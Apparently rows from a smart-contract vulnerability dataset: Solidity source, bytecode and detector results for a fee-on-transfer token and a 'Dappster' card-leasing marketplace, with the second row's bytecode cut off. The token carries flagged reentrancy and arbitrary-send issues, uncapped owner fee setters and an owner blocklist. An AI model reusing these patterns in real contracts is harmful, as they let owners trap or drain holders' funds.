_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
}
|
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e1461060a578063e0f9f6a014610650578063ea1644d514610670578063f2fde38b14610690578063fe72c3c1146106b057600080fd5b806395d89b411461022a5780639ec350ed1461058a5780639f131571146105aa578063a9059cbb146105ca578063c5528490146105ea57600080fd5b80637c519ffb116100f25780637c519ffb1461050b5780637d1db4a514610520578063881dce60146105365780638da5cb5b146105565780638f9a55c01461057457600080fd5b806370a08231146104a0578063715018a6146104c057806374010ece146104d5578063790ca413146104f557600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104155780635d098b38146104355780636b9cf534146104555780636d8aa8f81461046b5780636fc3eaec1461048b57600080fd5b8063313ce5671461039957806333251a0b146103b557806338eea22d146103d557806349bd5a5e146103f557600080fd5b806318160ddd116101ed57806318160ddd1461030657806323b872dd1461032b57806327c8f8351461034b57806328bb665a146103615780632fd689e31461038357600080fd5b806306fdde031461022a578063095ea7b3146102655780630f3a325f146102955780631694505e146102ce57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b50604080518082018252600381526238382b60e81b6020820152905161025c9190611ef2565b60405180910390f35b34801561027157600080fd5b50610285610280366004611d9d565b6106c6565b604051901515815260200161025c565b3480156102a157600080fd5b506102856102b0366004611ce9565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102da57600080fd5b506019546102ee906001600160a01b031681565b6040516001600160a01b03909116815260200161025c565b34801561031257600080fd5b50670de0b6b3a76400005b60405190815260200161025c565b34801561033757600080fd5b50610285610346366004611d5c565b6106dd565b34801561035757600080fd5b506102ee61dead81565b34801561036d57600080fd5b5061038161037c366004611dc9565b610746565b005b34801561038f57600080fd5b5061031d601d5481565b3480156103a557600080fd5b506040516009815260200161025c565b3480156103c157600080fd5b506103816103d0366004611ce9565b6107e5565b3480156103e157600080fd5b506103816103f0366004611ed0565b610854565b34801561040157600080fd5b50601a546102ee906001600160a01b031681565b34801561042157600080fd5b50610381610430366004611eb7565b610889565b34801561044157600080fd5b50610381610450366004611ce9565b6108b8565b34801561046157600080fd5b5061031d601e5481565b34801561047757600080fd5b50610381610486366004611e95565b610912565b34801561049757600080fd5b5061038161095a565b3480156104ac57600080fd5b5061031d6104bb366004611ce9565b610984565b3480156104cc57600080fd5b506103816109a6565b3480156104e157600080fd5b506103816104f0366004611eb7565b610a1a565b34801561050157600080fd5b5061031d600a5481565b34801561051757600080fd5b50610381610a49565b34801561052c57600080fd5b5061031d601b5481565b34801561054257600080fd5b50610381610551366004611eb7565b610aa3565b34801561056257600080fd5b506000546001600160a01b03166102ee565b34801561058057600080fd5b5061031d601c5481565b34801561059657600080fd5b506103816105a5366004611ed0565b610b1f565b3480156105b657600080fd5b506103816105c5366004611e95565b610b54565b3480156105d657600080fd5b506102856105e5366004611d9d565b610b9c565b3480156105f657600080fd5b50610381610605366004611ed0565b610ba9565b34801561061657600080fd5b5061031d610625366004611d23565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561065c57600080fd5b5061038161066b366004611eb7565b610bde565b34801561067c57600080fd5b5061038161068b366004611eb7565b610c1a565b34801561069c57600080fd5b506103816106ab366004611ce9565b610c49565b3480156106bc57600080fd5b5061031d60185481565b60006106d3338484610d33565b5060015b92915050565b60006106ea848484610e57565b61073c8433610737856040518060600160405280602881526020016120f7602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061157e565b610d33565b5060019392505050565b6000546001600160a01b031633146107795760405162461bcd60e51b815260040161077090611f47565b60405180910390fd5b60005b81518110156107e15760016009600084848151811061079d5761079d6120b5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d981612084565b91505061077c565b5050565b6000546001600160a01b0316331461080f5760405162461bcd60e51b815260040161077090611f47565b6001600160a01b03811660009081526009602052604090205460ff1615610851576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461087e5760405162461bcd60e51b815260040161077090611f47565b600d91909155600f55565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161077090611f47565b601355565b6017546001600160a01b0316336001600160a01b0316146108d857600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161077090611f47565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b03161461097a57600080fd5b47610851816115b8565b6001600160a01b0381166000908152600260205260408120546106d7906115f2565b6000546001600160a01b031633146109d05760405162461bcd60e51b815260040161077090611f47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a445760405162461bcd60e51b815260040161077090611f47565b601b55565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161077090611f47565b601a54600160a01b900460ff1615610a8a57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610ac357600080fd5b610acc30610984565b8111158015610adb5750600081115b610b165760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610770565b61085181611676565b6000546001600160a01b03163314610b495760405162461bcd60e51b815260040161077090611f47565b600b91909155600c55565b6000546001600160a01b03163314610b7e5760405162461bcd60e51b815260040161077090611f47565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006106d3338484610e57565b6000546001600160a01b03163314610bd35760405162461bcd60e51b815260040161077090611f47565b600e91909155601055565b6000546001600160a01b03163314610c085760405162461bcd60e51b815260040161077090611f47565b610c1481610e1061204e565b60185550565b6000546001600160a01b03163314610c445760405162461bcd60e51b815260040161077090611f47565b601c55565b6000546001600160a01b03163314610c735760405162461bcd60e51b815260040161077090611f47565b6001600160a01b038116610cd85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610770565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610770565b6001600160a01b038216610df65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610770565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610770565b6001600160a01b038216610f1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610770565b60008111610f7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610770565b6001600160a01b03821660009081526009602052604090205460ff1615610fb85760405162461bcd60e51b815260040161077090611f7c565b6001600160a01b03831660009081526009602052604090205460ff1615610ff15760405162461bcd60e51b815260040161077090611f7c565b3360009081526009602052604090205460ff16156110215760405162461bcd60e51b815260040161077090611f7c565b6000546001600160a01b0384811691161480159061104d57506000546001600160a01b03838116911614155b156113c657601a54600160a01b900460ff166110ab5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610770565b601a546001600160a01b0383811691161480156110d657506019546001600160a01b03848116911614155b15611188576001600160a01b03821630148015906110fd57506001600160a01b0383163014155b801561111757506017546001600160a01b03838116911614155b801561113157506017546001600160a01b03848116911614155b1561118857601b548111156111885760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610770565b601a546001600160a01b038381169116148015906111b457506017546001600160a01b03838116911614155b80156111c957506001600160a01b0382163014155b80156111e057506001600160a01b03821661dead14155b156112c057601c54816111f284610984565b6111fc9190612014565b106112555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610770565b601a54600160b81b900460ff16156112c057600a54611276906104b0612014565b42116112c057601e548111156112c05760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b6044820152606401610770565b60006112cb30610984565b601d5490915081118080156112ea5750601a54600160a81b900460ff16155b80156113045750601a546001600160a01b03868116911614155b80156113195750601a54600160b01b900460ff165b801561133e57506001600160a01b03851660009081526006602052604090205460ff16155b801561136357506001600160a01b03841660009081526006602052604090205460ff16155b156113c3576013546000901561139e57611393606461138d601354866117ff90919063ffffffff16565b9061187e565b905061139e816118c0565b6113b06113ab828561206d565b611676565b4780156113c0576113c0476115b8565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061140857506001600160a01b03831660009081526006602052604090205460ff165b8061143a5750601a546001600160a01b0385811691161480159061143a5750601a546001600160a01b03848116911614155b156114475750600061156c565b601a546001600160a01b03858116911614801561147257506019546001600160a01b03848116911614155b156114cd576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156114cd576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156114f857506019546001600160a01b03858116911614155b1561156c576001600160a01b0384166000908152600460205260409020541580159061154957506018546001600160a01b038516600090815260046020526040902054429161154691612014565b10155b1561155f57600b54601155600c5460125561156c565b600f546011556010546012555b611578848484846118cd565b50505050565b600081848411156115a25760405162461bcd60e51b81526004016107709190611ef2565b5060006115af848661206d565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107e1573d6000803e3d6000fd5b60006007548211156116595760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610770565b6000611663611901565b905061166f838261187e565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116be576116be6120b5565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561171257600080fd5b505afa158015611726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174a9190611d06565b8160018151811061175d5761175d6120b5565b6001600160a01b0392831660209182029290920101526019546117839130911684610d33565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906117bc908590600090869030904290600401611fa3565b600060405180830381600087803b1580156117d657600080fd5b505af11580156117ea573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b60008261180e575060006106d7565b600061181a838561204e565b905082611827858361202c565b1461166f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610770565b600061166f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611924565b6108513061dead83610e57565b806118da576118da611952565b6118e5848484611997565b8061157857611578601454601155601554601255601654601355565b600080600061190e611a8e565b909250905061191d828261187e565b9250505090565b600081836119455760405162461bcd60e51b81526004016107709190611ef2565b5060006115af848661202c565b6011541580156119625750601254155b801561196e5750601354155b1561197557565b6011805460145560128054601555601380546016556000928390559082905555565b6000806000806000806119a987611ace565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119db9087611b2b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a0a9086611b6d565b6001600160a01b038916600090815260026020526040902055611a2c81611bcc565b611a368483611c16565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a7b91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611aa9828261187e565b821015611ac557505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611aeb8a601154601254611c3a565b9250925092506000611afb611901565b90506000806000611b0e8e878787611c89565b919e509c509a509598509396509194505050505091939550919395565b600061166f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061157e565b600080611b7a8385612014565b90508381101561166f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610770565b6000611bd6611901565b90506000611be483836117ff565b30600090815260026020526040902054909150611c019082611b6d565b30600090815260026020526040902055505050565b600754611c239083611b2b565b600755600854611c339082611b6d565b6008555050565b6000808080611c4e606461138d89896117ff565b90506000611c61606461138d8a896117ff565b90506000611c7982611c738b86611b2b565b90611b2b565b9992985090965090945050505050565b6000808080611c9888866117ff565b90506000611ca688876117ff565b90506000611cb488886117ff565b90506000611cc682611c738686611b2b565b939b939a50919850919650505050505050565b8035611ce4816120e1565b919050565b600060208284031215611cfb57600080fd5b813561166f816120e1565b600060208284031215611d1857600080fd5b815161166f816120e1565b60008060408385031215611d3657600080fd5b8235611d41816120e1565b91506020830135611d51816120e1565b809150509250929050565b600080600060608486031215611d7157600080fd5b8335611d7c816120e1565b92506020840135611d8c816120e1565b929592945050506040919091013590565b60008060408385031215611db057600080fd5b8235611dbb816120e1565b946020939093013593505050565b60006020808385031215611ddc57600080fd5b823567ffffffffffffffff80821115611df457600080fd5b818501915085601f830112611e0857600080fd5b813581811115611e1a57611e1a6120cb565b8060051b604051601f19603f83011681018181108582111715611e3f57611e3f6120cb565b604052828152858101935084860182860187018a1015611e5e57600080fd5b600095505b83861015611e8857611e7481611cd9565b855260019590950194938601938601611e63565b5098975050505050505050565b600060208284031215611ea757600080fd5b8135801515811461166f57600080fd5b600060208284031215611ec957600080fd5b5035919050565b60008060408385031215611ee357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f1f57858101830151858201604001528201611f03565b81811115611f31576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ff35784516001600160a01b031683529383019391830191600101611fce565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120275761202761209f565b500190565b60008261204957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120685761206861209f565b500290565b60008282101561207f5761207f61209f565b500390565b60006000198214156120985761209861209f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461085157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb9ce632f9d5d4c96f1f8b2988e0f194d74105e53fbc61c951f8e4254256541f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,338 |
0x7f2b1d5133053f9cc5b750d2245db607233a770d
|
pragma solidity ^0.4.19;
contract Dappster {
/// Lease record, store card tenants details
/// and lease details
struct LeaseCard {
uint id;
address tenant;
uint price;
uint untilBlock;
string title;
string url;
string image;
}
/// Record card details
struct CardDetails {
uint8 id;
uint price;
uint priceLease; // price per block
uint leaseDuration; // in block
bool availableBuy;
bool availableLease;
uint[] leaseList;
mapping(uint => LeaseCard) leaseCardStructs;
}
/// Record card
struct Card {
uint8 id;
address owner;
string title;
string url;
string image;
bool nsfw;
}
/// Users pending withdrawals
mapping(address => uint) public pendingWithdrawals;
mapping(uint8 => Card) public cardStructs; // random access by card key
uint8[] public cardList; // list of announce keys so we can enumerate them
mapping(uint8 => CardDetails) public cardDetailsStructs; // random access by card details key
uint8[] public cardDetailsList; // list of cards details keys so we can enumerate them
/// Initial card price
uint public initialCardPrice = 0.1 ether;
/// Owner cut (1%) . This cut only apply on a user-to-user card transaction
uint public ownerBuyCut = 100;
/// fluffyCat cut (10%)
uint public fluffyCatCut = 1000;
/// contractOwner can withdraw the funds
address public contractOwner;
/// fluffyCat address
address public fluffyCatAddress = 0x2c00A5013aA2E600663f7b197C98db73bA847e6d;
/// Contract constructor
function Dappster() public {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
// Throws if called by any account other than the contract owner
require(msg.sender == contractOwner);
_;
}
modifier onlyCardOwner(uint8 cardId) {
// Throws if called by any account other than the card owner
require(msg.sender == cardStructs[cardId].owner);
_;
}
modifier onlyValidCard(uint8 cardId) {
// Throws if card is not valid
require(cardId >= 1 && cardId <= 100);
_;
}
/// Return cardList array
function getCards() public view returns(uint8[]) {
uint8[] memory result = new uint8[](cardList.length);
uint8 counter = 0;
for (uint8 i = 0; i < cardList.length; i++) {
result[counter] = i;
counter++;
}
return result;
}
/// Return cardDetailsList array
function getCardsDetails() public view returns(uint8[]) {
uint8[] memory result = new uint8[](cardDetailsList.length);
uint8 counter = 0;
for (uint8 i = 0; i < cardDetailsList.length; i++) {
result[counter] = i;
counter++;
}
return result;
}
/// Return card details by id
function getCardDetails(uint8 cardId) public view onlyValidCard(cardId)
returns (uint8 id, uint price, uint priceLease, uint leaseDuration, bool availableBuy, bool availableLease) {
bool _buyAvailability;
if (cardDetailsStructs[cardId].id == 0 || cardDetailsStructs[cardId].availableBuy) {
_buyAvailability = true;
}
CardDetails storage detail = cardDetailsStructs[cardId];
return (
detail.id,
detail.price,
detail.priceLease,
detail.leaseDuration,
_buyAvailability,
detail.availableLease
);
}
/// Return card by id
function getCard(uint8 cardId) public view onlyValidCard(cardId)
returns (uint8 id, address owner, string title, string url, string image, bool nsfw) {
Card storage card = cardStructs[cardId];
id = card.id;
owner = card.owner;
title = card.title;
url = card.url;
image = card.image;
nsfw = card.nsfw;
}
/// This is called on the initial buy card, user to user buy is at buyCard()
/// Amount is sent to contractOwner balance and fluffycat get 10% of this amount
function initialBuyCard(uint8 cardId, string title, string url, string image) public
onlyValidCard(cardId)
payable
returns (bool success)
{
// Check sent amount
uint price = computeInitialPrice(cardId);
require(msg.value >= price);
// If owner is 0x0, then we are sure that
// this is the initial buy
require(cardStructs[cardId].owner == address(0));
// Fill card
_fillCardStruct(cardId, msg.sender, title, url, image);
// Set nsfw flag to false
cardStructs[cardId].nsfw = false;
// Contract credit 10% of price to FluffyCat
_applyShare(contractOwner, fluffyCatAddress, fluffyCatCut);
// Initialize card details
_initCardDetails(cardId, price);
// Add the card to cardList
cardList.push(cardId);
return true;
}
/// Perform a user to user buy transaction
/// Contract owner takes 1% cut on each of this transaction
function buyCard(uint8 cardId, string title, string url, string image) public
onlyValidCard(cardId)
payable
returns (bool success)
{
// Check that this is not an initial buy, i.e. that the
// card belongs to someone
require(cardStructs[cardId].owner != address(0));
// Check if card is on sale
require(cardDetailsStructs[cardId].availableBuy);
// Check sent amount
uint price = cardDetailsStructs[cardId].price;
require(msg.value >= price);
address previousOwner = cardStructs[cardId].owner;
// Take 1% cut on buy
_applyShare(previousOwner, contractOwner, ownerBuyCut);
// Fill card
_fillCardStruct(cardId, msg.sender, title, url, image);
// Set nsfw flag to false
cardStructs[cardId].nsfw = false;
// Disable sell status
cardDetailsStructs[cardId].availableBuy = false;
return true;
}
/// Allow card owner to edit his card informations
function editCard(uint8 cardId, string title, string url, string image) public
onlyValidCard(cardId)
onlyCardOwner(cardId)
returns (bool success)
{
// Fill card
_fillCardStruct(cardId, msg.sender, title, url, image);
// Disable sell status
return true;
}
/// Allow card owner to set his card on sale at specific price
function sellCard(uint8 cardId, uint price) public
onlyValidCard(cardId)
onlyCardOwner(cardId)
returns (bool success)
{
cardDetailsStructs[cardId].price = price;
cardDetailsStructs[cardId].availableBuy = true;
return true;
}
/// Allow card owner to cancel sell offer
function cancelSellCard(uint8 cardId) public
onlyValidCard(cardId)
onlyCardOwner(cardId)
returns (bool success)
{
cardDetailsStructs[cardId].availableBuy = false;
return true;
}
/// Allow card owner to set his card on lease at fixed price per block and duration
function setLeaseCard(uint8 cardId, uint priceLease, uint leaseDuration) public
onlyValidCard(cardId)
onlyCardOwner(cardId)
returns (bool success)
{
// Card cannot be on sale when setting lease
// cancelSellCard() first
require(!cardDetailsStructs[cardId].availableBuy);
// Card cannot be set on lease while currently leasing
uint _lastLeaseId = getCardLeaseLength(cardId);
uint _until = cardDetailsStructs[cardId].leaseCardStructs[_lastLeaseId].untilBlock;
require(_until < block.number);
cardDetailsStructs[cardId].priceLease = priceLease;
cardDetailsStructs[cardId].availableLease = true;
cardDetailsStructs[cardId].leaseDuration = leaseDuration;
return true;
}
/// Allow card owner to cancel lease offer
/// Note that this do not interrupt current lease if any
function cancelLeaseOffer(uint8 cardId) public
onlyValidCard(cardId)
onlyCardOwner(cardId)
returns (bool success)
{
cardDetailsStructs[cardId].availableLease = false;
return true;
}
/// Allow future tenant to lease a card
function leaseCard(uint8 cardId, string title, string url, string image) public
onlyValidCard(cardId)
payable
returns (bool success)
{
CardDetails storage details = cardDetailsStructs[cardId];
// Check that card is avaible to lease
require(details.availableLease);
// Get price (per block) and leaseDuration (block)
uint price = details.priceLease;
uint leaseDuration = details.leaseDuration;
uint totalAmount = price * leaseDuration;
// Check that amount sent is sufficient
require(msg.value >= totalAmount);
// Get new lease id
uint leaseId = getCardLeaseLength(cardId) + 1;
// Get the block number of lease end
uint untilBlock = block.number + leaseDuration;
// Take 1% cut on lease
Card storage card = cardStructs[cardId];
address _cardOwner = card.owner;
_applyShare(_cardOwner, contractOwner, ownerBuyCut);
// Fill leaseCardStructs
details.leaseCardStructs[leaseId].id = leaseId;
details.leaseCardStructs[leaseId].tenant = msg.sender;
details.leaseCardStructs[leaseId].price = totalAmount;
details.leaseCardStructs[leaseId].untilBlock = untilBlock;
details.leaseCardStructs[leaseId].title = title;
details.leaseCardStructs[leaseId].url = url;
details.leaseCardStructs[leaseId].image = image;
// Leases are now unavailable for this card
details.availableLease = false;
// Add lease to leases list of correspondant cardDetails
details.leaseList.push(leaseId);
return true;
}
/// Get last lease from a card
function getLastLease(uint8 cardId) public view
returns(uint leaseIndex, address tenant, uint untilBlock, string title, string url, string image)
{
uint _leaseIndex = getCardLeaseLength(cardId);
return getLease(cardId, _leaseIndex);
}
/// Get lease from card
function getLease(uint8 cardId, uint leaseId) public view
returns(uint leaseIndex, address tenant, uint untilBlock, string title, string url, string image)
{
return(
cardDetailsStructs[cardId].leaseCardStructs[leaseId].id,
cardDetailsStructs[cardId].leaseCardStructs[leaseId].tenant,
cardDetailsStructs[cardId].leaseCardStructs[leaseId].untilBlock,
cardDetailsStructs[cardId].leaseCardStructs[leaseId].title,
cardDetailsStructs[cardId].leaseCardStructs[leaseId].url,
cardDetailsStructs[cardId].leaseCardStructs[leaseId].image
);
}
/// Get lease list from a card
function getCardLeaseLength(uint8 cardId) public view
returns(uint cardLeasesCount)
{
return(cardDetailsStructs[cardId].leaseList.length);
}
/// Transfer the ownership of a card
function transferCardOwnership(address to, uint8 cardId)
public
onlyCardOwner(cardId)
returns (bool success)
{
// Transfer card ownership
cardStructs[cardId].owner = to;
return true;
}
/// Return balance from sender
function getBalance()
public
view
returns (uint amount)
{
return pendingWithdrawals[msg.sender];
}
/// Allow address to withdraw their balance
function withdraw()
public
returns (bool)
{
uint amount = pendingWithdrawals[msg.sender];
// Remember to zero the pending refund before
// sending to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
return true;
}
/// Compute initial card price (in wei)
function computeInitialPrice(uint8 cardId) public view
onlyValidCard(cardId)
returns (uint price)
{
// 0.1 ether - 0.001 ether * (cardId - 1)
return initialCardPrice - ((initialCardPrice / 100) * (uint256(cardId) - 1));
}
/// Allow contract owner to set NSFW flag on a card
function setNSFW(uint8 cardId, bool flag) public
onlyValidCard(cardId)
onlyContractOwner()
returns (bool success)
{
cardStructs[cardId].nsfw = flag;
return true;
}
/// Fill Card struct
function _fillCardStruct(uint8 _cardId, address _owner, string _title, string _url, string _image) internal
returns (bool success)
{
cardStructs[_cardId].owner = _owner;
cardStructs[_cardId].title = _title;
cardStructs[_cardId].url = _url;
cardStructs[_cardId].image = _image;
return true;
}
/// Initialize sell card for future
function _initCardDetails(uint8 cardId, uint price) internal
returns (bool success)
{
// priceLease, leaseDuration set to default value(= 0)
cardDetailsStructs[cardId].id = cardId;
cardDetailsStructs[cardId].price = price;
cardDetailsStructs[cardId].availableBuy = false;
cardDetailsStructs[cardId].availableLease = false;
cardDetailsList.push(cardId);
return true;
}
/// Send split amounts to respective balances
function _applyShare(address _seller, address _auctioneer, uint _cut) internal
returns (bool success)
{
// Compute share
uint256 auctioneerCut = _computeCut(msg.value, _cut);
uint256 sellerProceeds = msg.value - auctioneerCut;
// Credit seller balance
pendingWithdrawals[_seller] += sellerProceeds;
// Credit auctionner balance
pendingWithdrawals[_auctioneer] += auctioneerCut;
return true;
}
/// Compute _cut from a _price
function _computeCut(uint256 _price, uint256 _cut) internal pure
returns (uint256)
{
return _price * _cut / 10000;
}
}
|
0x60606040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307806b19811461018457806309004eb1146101dc57806312065fe0146103635780631a9e3e18146103885780632cefc4291461039b5780633ccfd60b146103cb57806344fd584d146103de578063459a2192146103f757806373cb062014610423578063771acf311461045257806379081feb146104655780637b65d0ec1461047e5780637db33f99146105505780638014f2381461056f5780638df793d61461064c5780638f6f32751461071e578063a7f58c2414610868578063b0df9e5314610881578063b7b2a009146108e7578063ba0bc2f414610900578063bc2fe07b14610913578063c02d014014610938578063ce606ee014610a0a578063cf4e964a14610a1d578063d5bd57a114610bd7578063d9f035aa14610bea578063e6591f4e14610c00578063ec591b2014610c1e578063f0d8e96814610c37578063f3f4370314610c50575b600080fd5b341561018f57600080fd5b61019d60ff60043516610c6f565b60405160ff9096168652602086019490945260408086019390935260608501919091521515608084015290151560a083015260c0909101905180910390f35b34156101e757600080fd5b6101f560ff60043516610cad565b60405160ff87168152600160a060020a038616602082015281151560a082015260c0604082018181529060608301906080840190840188818151815260200191508051906020019080838360005b8381101561025b578082015183820152602001610243565b50505050905090810190601f1680156102885780820380516001836020036101000a031916815260200191505b50848103835287818151815260200191508051906020019080838360005b838110156102be5780820151838201526020016102a6565b50505050905090810190601f1680156102eb5780820380516001836020036101000a031916815260200191505b50848103825286818151815260200191508051906020019080838360005b83811015610321578082015183820152602001610309565b50505050905090810190601f16801561034e5780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b341561036e57600080fd5b610376610f1a565b60405190815260200160405180910390f35b341561039357600080fd5b610376610f37565b34156103a657600080fd5b6103b760ff60043516602435610f3d565b604051901515815260200160405180910390f35b34156103d657600080fd5b6103b7610fc5565b34156103e957600080fd5b6103b760ff60043516611